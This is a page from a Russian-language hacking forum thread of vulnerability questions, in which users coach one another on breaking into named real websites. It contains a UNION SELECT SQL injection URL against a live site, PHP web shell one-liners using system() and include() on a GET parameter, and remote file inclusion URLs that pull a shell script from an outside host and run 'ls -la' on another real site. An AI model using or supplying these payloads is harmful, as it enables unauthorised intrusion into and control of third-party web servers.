ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 176 из 2438 « Первая < 76126166 172 173 174 175 176 177 178 179 180 1862262766761176 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1751  
Старый 23.04.2008, 17:27
nicusor
Участник форума
Регистрация: 19.03.2008
Сообщений: 108
С нами: 9550090

Репутация: 137
По умолчанию
там 7 столбцов 100% ..

как подбирать ?
http://www.moldagrotehnica.md/index.php?newsid=9999999999999+UNION+SELECT+1,2,3, 4,5,6,7+from+<table>/* где <table> самые распространенные имена, правильно?
 
Ответить с цитированием

  #1752  
Старый 23.04.2008, 17:48
n0ne
Постоянный
Регистрация: 01.01.2007
Сообщений: 796
С нами: 10188506

Репутация: 861


По умолчанию
nicusor, правильно. Есть ещё такая штука - посимвольный подбор.
 
Ответить с цитированием

  #1753  
Старый 23.04.2008, 18:08
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию
nicusor
Друг мой. Интересно зачем задавать вопрос, если не слушать ответа на него?
Специально для тебя я привёл ссылку , пройдя по которой ты увидишь вывод из таблицы
Правда в моей ссылке(как впрочем и в базе) полей 8 и если ты догадаешься убрать из неё пробелы будет гораздо проще
Последний раз редактировалось jokester; 23.04.2008 в 18:44..
 
Ответить с цитированием

  #1754  
Старый 23.04.2008, 18:25
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию
Пробывал залить шелл на этот сайт. Почему пишет Warning: system() [function.system]: Cannot execute a blank command in http://site.com/script.php on line 1

В скрипте обычный вызов функции систем().Пробывал с кавычками и без них)
<?php system($_GET['cmd']); ?>
 
Ответить с цитированием

  #1755  
Старый 23.04.2008, 18:26
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
С нами: 10461853

Репутация: 178
По умолчанию
это значит system отключено, юзай include
 
Ответить с цитированием

  #1756  
Старый 23.04.2008, 18:28
Piflit
Banned
Регистрация: 11.08.2006
Сообщений: 1,522
С нами: 10393869

Репутация: 2032


По умолчанию
Цитата:
Сообщение от GrAmOzEkA  
это значит system отключено, юзай include
это значит, что нужно писать
<?php @system($_GET['cmd']); ?>
 
Ответить с цитированием

  #1757  
Старый 23.04.2008, 18:31
GrAmOzEkA
Участник форума
Регистрация: 25.06.2006
Сообщений: 220
С нами: 10461853

Репутация: 178
По умолчанию
Цитата:
это значит, что нужно писать
имхо include удобнее =), да систем почти всегда отключен.

Цитата:
А как её использывать ?
<?php include($_GET['cmd']); ?>

www.site.com/index.php?cmd=http://shell.ru/shell.txt
 
Ответить с цитированием

  #1758  
Старый 23.04.2008, 18:33
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию
@system сработало.вот только что делать дальше не пойму))))
 
Ответить с цитированием

  #1759  
Старый 23.04.2008, 18:35
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию
Хых,самое интересное что инклудить пытался так до того,как ты написал(дошло!:Р),но чёт не вышло.зато @system ошибок не вызвало.знач работает)
 
Ответить с цитированием

  #1760  
Старый 23.04.2008, 19:01
Велемир
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами: 10470131

Репутация: 142


По умолчанию
http://www.kat.kg/index.php?file=http://site.com/shell.php?cmd=ls+-la

Warning: forma_2(http://site.com/shell.php?cmd=ls -la) [function.forma-2]: failed to open stream: HTTP request failed! <html> in /usr/local/www/data-dist/kat/index_rus.inc on line 397

Fatal error: forma_2() [function.require]: Failed opening required 'http://site.com/shell.php?cmd=ls -la' (include_path='.') in /usr/local/www/data-dist/kat/index_rus.inc on line 397

И чойто я хз...Какой-то НТТР запрос чтоль не прокатил?)
 
Ответить с цитированием
Ответ
Страница 176 из 2438 « Первая < 76126166 172 173 174 175 176 177 178 179 180 1862262766761176 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.